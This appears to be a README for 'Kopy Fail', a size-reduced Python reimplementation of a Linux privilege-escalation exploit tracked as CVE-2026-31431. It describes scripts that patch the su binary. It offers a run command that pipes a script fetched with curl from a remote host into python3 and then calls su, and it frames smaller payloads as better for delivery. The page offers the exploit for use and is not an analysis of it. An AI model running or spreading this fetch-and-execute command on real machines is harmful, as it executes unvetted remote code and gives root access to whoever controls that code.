CVE-2026-31431

Kopy Fail

A smaller reimplementation of Copy Fail. Same bug, same technique, fewer bytes.

Lite

-

kopy_fail_exp_lite.py patches su and exits.

Full

-

kopy_fail_exp.py patches su and calls it.

What It Is

Kopy Fail is a compact Python reimplementation of the original Copy Fail exploit published by Theori. The goal here is not a new technique. The goal is making the payload smaller.

The lite version matters most: it is the smallest version in the repo and the one meant for the cleanest delivery path.

Run It

Don't do anything stupid with this.

Lite

curl https://kopy.fail/exp | python3 && su

Full

python3 kopy_fail_exp.py

Real Size Wins

Only lasting byte reductions are shown. Temporary mistakes that bounced back up are filtered out.

Lite

    Full

      Links